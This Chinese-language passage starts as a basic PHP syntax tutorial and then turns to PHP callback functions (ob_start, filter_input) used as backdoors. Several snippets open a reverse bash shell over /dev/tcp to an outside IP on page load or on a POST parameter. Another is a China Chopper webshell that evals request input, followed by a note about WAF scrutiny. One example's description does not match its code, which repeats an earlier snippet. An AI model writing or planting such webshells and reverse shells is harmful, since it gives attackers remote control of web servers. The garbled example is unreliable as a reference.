$variable_name = value;
PHP中的变量以$
符号开头,可以存储各种数据类型,如整数、浮点数、字符串、数组等。
整数(int)
浮点数(float)
字符串(string)
布尔值(boolean)
数组(array)
对象(object)
空值(null)
$string1 = "Hello";
$string2 = "World";
echo $string1 . " " . $string2; // 输出: Hello World
if (condition) {
// 条件为真时执行的代码
} elseif (another_condition) {
// 如果第一个条件为假且这个条件为真时执行的代码
} else {
// 如果上述条件都不满足时执行的代码
}
for
循环
for ($i = 0; $i < 5; $i++) {
echo "Number: $i <br>";
}
//输出:
//Number: 0
//Number: 1
//Number: 2
//Number: 3
//Number: 4
while
循环
$count = 0;
while ($count < 3) {
echo "Count: $count <br>";
$count++;
}
//输出:
//Count: 0
//Count: 1
//Count: 2
foreach
循环(用于遍历数组)
$fruits = array("Apple", "Banana", "Orange");
foreach ($fruits as $fruit) {
echo "$fruit <br>";
}
//输出:
//Apple
//Banana
//Orange
关联数组,获取键和值
$person = array("name" => "John", "age" => 30, "city" => "New York");
foreach ($person as $key => $value) {
echo "$key: $value <br>";
}
//输出:
//name: John
//age: 30
//city: New York
function functionName($param1, $param2) {
// 函数体
return $result;
}
// 调用函数
$result = functionName($arg1, $arg2);
$array = array("apple", "banana", "orange");
echo $array[0]; // 输出: apple
// 关联数组
$assoc_array = array("name" => "John", "age" => 30);
echo $assoc_array["name"]; // 输出: John
PHP中的特殊变量,如$_GET
,$_POST
,$_SESSION
,$_COOKIE
,$_SERVER
等,用于从表单、URL、服务器环境等接收数据。
可以使用include
或require
将一个文件包含到另一个文件中。
include 'filename.php';
require 'filename.php'; // 如果文件不存在或者有问题,会引发致命错误
try {
// 可能引发异常的代码
} catch (Exception $e) {
// 异常处理代码
}
函数功能:输出缓冲是 PHP 中的一种机制,允许你在将输出发送到浏览器之前捕获由 PHP 脚本生成的输出。
示例:
# 自动触发
<?php function a($b){exec('/bin/bash -c "bash -i >& /dev/tcp/8.8.8.8/8888 0>&1"');}ob_start("a");?>
函数功能:当 PHP 发送 HTTP 标头时,该回调函数将会被调用。
示例:
# 自动触发
<?php
function a($b){
exec('/bin/bash -c "bash -i >& /dev/tcp/8.8.8.8/8888 0>&1"');
}
ob_start("a");
?>
函数功能:获取输入变量并过滤它的值的函数。
示例:
# 需要 POST 一个 C 参数 , 就会触发反弹 shell
<?php
function a($value){
exec('/bin/bash -c "bash -i >& /dev/tcp/8.8.8.8/8888 0>&1"');
}
filter_input(INPUT_POST, 'c', FILTER_CALLBACK, array('options' => 'a'));
?>
# 直接菜刀连接 , 密码为 c
http://127.0.0.1/index.php?&c=assert&d=eval($_POST['c'])
<?php
function a($c){
$c($_GET['d']);
}
filter_input(INPUT_GET,'c', FILTER_CALLBACK,array('options'=>'a'));
?>
回调函数还有很多,可以自己去搜集,但是在如今回调函数早就被waf给重点关注了